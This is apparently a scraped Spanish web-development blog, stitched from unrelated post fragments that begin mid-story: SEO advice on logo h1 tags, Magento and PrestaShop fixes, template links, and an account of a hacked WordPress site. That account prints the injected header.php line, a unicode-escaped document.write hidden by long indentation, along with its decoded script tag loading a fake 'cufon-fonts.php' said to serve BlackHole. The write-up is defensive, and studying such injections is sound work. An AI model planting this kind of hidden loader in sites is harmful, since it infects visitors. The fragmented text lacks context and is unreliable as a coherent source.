http://www.schema.org/docs/gs.html

Según mi opinión ésto es una práctica equivocada y que no hará mejorar nuestro SEO. La pregunta no es si debemos utilizar texto o imágenes en los logos, sino, ¿realmente importa etiquetar el texto del logotipo con un h1?. Os cuento por qué….

Código

/* Una de las formas de conseguir ocultar el texto del logo */
h1{
   background: url(logo.jpg) no-repeat;
   text-indent:-9999px;
   width: 200px; /* Ancho del logo */
   height: 70px; /* Alto del logo */
}

Además de que, según mi opinión, ésta es una práctica equivocada que no tiene sentido, tal como explicaré luego, Google penaliza la ocultación de texto. Si alguno de nuestros competidores se da cuenta y lo denuncia a Google,  podríamos tener algún problemilla de posicionamiento.

Como decía antes, según mi modo de ver esto es una práctica equivocada. ¿Por qué se intenta que el nombre del sitio esté entre etiquetas h1? ¿Para que aparezca primero en los resultados de búsqueda cuando se busque el nombre de la empresa? Eso pasará aunque no utilicemos el h1, no tenemos que competir en posicionamiento con otras empresas que se llamen igual que la nuestra, ¿no?.

Lo realmente importante para el posicionamiento de una web es etiquetar bien su contenido, no su nombre comercial. Así que sería más interesante etiquetar con un h1 otro texto importante, que indique cuál es la información que más queremos destacar, incluso aquella que nos haría mejorar de posición con respecto a nuestros competidores.

Para el logotipo recomendaría insertar la imagen normalmente con una etiqueta img de las de toda la vida con su alt y un texto descriptivo que ayude al posicionamiento.

<img src=”logo.jpg” width=”…” height=”…” alt=”Desarrollo de aplicaciones web en php” />

En la primera imagen podéis ver cómo es la plantilla nada más empezar a usarla con Google Docs, y en la segunda lo que aparece cuando se desplaza el scroll a la izquierda…. ¡está lleno de componentes web prediseñados!!

Aquí tenéis el enlace al artículo original y éstos para varias plantillas que seguro que os resultan de gran utilidad como a mí:

Página en blanco

Detalle de producto

Landing Page

Lista de elementos

Sólamente hay que eliminar el archivo maintenance.flag que está en el raíz de la instalación de Magento.

Puede ser que al instalar algún módulo se haya quedado este archivo sin eliminar. Así que suerte….

Me pongo a buscarlo yo y, no sólo es ese archivo, es que no está la carpeta config….. será posible?? Ya podría estar rompiéndome la cabezaaaaa. Odio los ordenadores!!

Total que buscando por la web encontré este otro enlace para bajarlo: http://code.google.com/p/prestashop/downloads/list

Espero que le sirva de ayuda a alguien… argggg

Con ello consiguieron instalar unos archivos .html similares a la página que pide la password en Yahoo y utilizarlos para enviarlos por email y robar passwords… la bomba!

La parte buena es que el hosting lo ha detectado y ha bloqueado la web. La mala es que Google le ha bloqueado el sitio al cliente y que he tardado bastante tiempo en encontrar donde se había alojado el código malicioso. Pero me fueron de gran ayuda los logs del servidor. Así que problema resuelto.

Lo comparto aquí porque me quedé alucinado de la potencia del programa que instalaron y la forma en la que lo hicieron. Solo sé algunas pequeñas cosas que dejaron como rastro pero aquí lo pongo.

No sé exactamente qué agujero de seguridad tenía la instalación de WordPress, pero seguramente muchos porque no había tocado nada en los permisos de las carpetas, ni me había preocupado por la visibilidad de los archivos ni nada. Seguro que a partir de ahora no lo volveré a hacer jejeje.

Bueno, pues una de las primeras cosas que hicieron fue modificar el archivo header.php  del tema que estaba cargado, incluyendo esta línea:

Código

document.write("\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u002F\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u0022\u0020\u0073\u0072\u0063\u003D\u0022\u002F\u0077\u0070\u002D\u0069\u006E\u0063\u006C\u0075\u0064\u0065\u0073\u002F\u0054\u0065\u0078\u0074\u002F\u0044\u0069\u0066\u0066\u002F\u0045\u006E\u0067\u0069\u006E\u0065\u002F\u0063\u0075\u0066\u006F\u006E\u002D\u0066\u006F\u006E\u0074\u0073\u002E\u0070\u0068\u0070\u0022\u003E\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E");/*

Era la primera línea del archivo, solo que no se veía porque la habían indentado con un margen izquierdo enorrrrrrme, para que pasara desapercibida al buscar caracteres extraños con el editor. Y traducida a “cristiano” es:

Código

<script type="text/javascript" src="/wp-includes/Text/Diff/Engine/cufon-fonts.php"></script>

La encontré gracias a Chrome, que decía que se estaba cargando un archivo llamado cufon-fonts.php y que no existía. No existía porque lo borré del hosting por las alertas que recibí indicando que estaba infectado con BlackHole.

Sin embargo, yo no uso cufon fonts, así que.. raro raro… Esta es la captura de pantalla del Chrome

En la imagen de arriba está el archivo nada más abrirlo y en la de abajo se ve lo que aparece si hacemos un scroll a la derecha….esa línea de código es la que carga el Blackhole en la cabecera de la web.

Lo que no encuentro por ninguna parte y es una pena son los archivos que borró el servidor, entre ellos el código de ese archivo. Pero seguiré buscando y ya os contaré más.

Espero que pueda servir de ayuda a alguien o al menos como curiosidad

Si cambiamos algo en el archivo css, el plugin se encarga de actualizarlos directamente sin falta de refrescar el navegador.

Si vuestro entorno de trabajo consiste en tener el navegador en media pantalla y el editor de css en la otra media, seguramente os facilitará el trabajo.

Live.js – One script closer to Designing in the Browser.

Remodelling a Figure in Photoshop – YouTube.

Quick makeup with Photoshop CS4

Pues la solución es quitar los saltos de línea entre las imágenes que WordPress inserta automáticamente en los posts. Hecho esto voilá…. funcionaaa!!!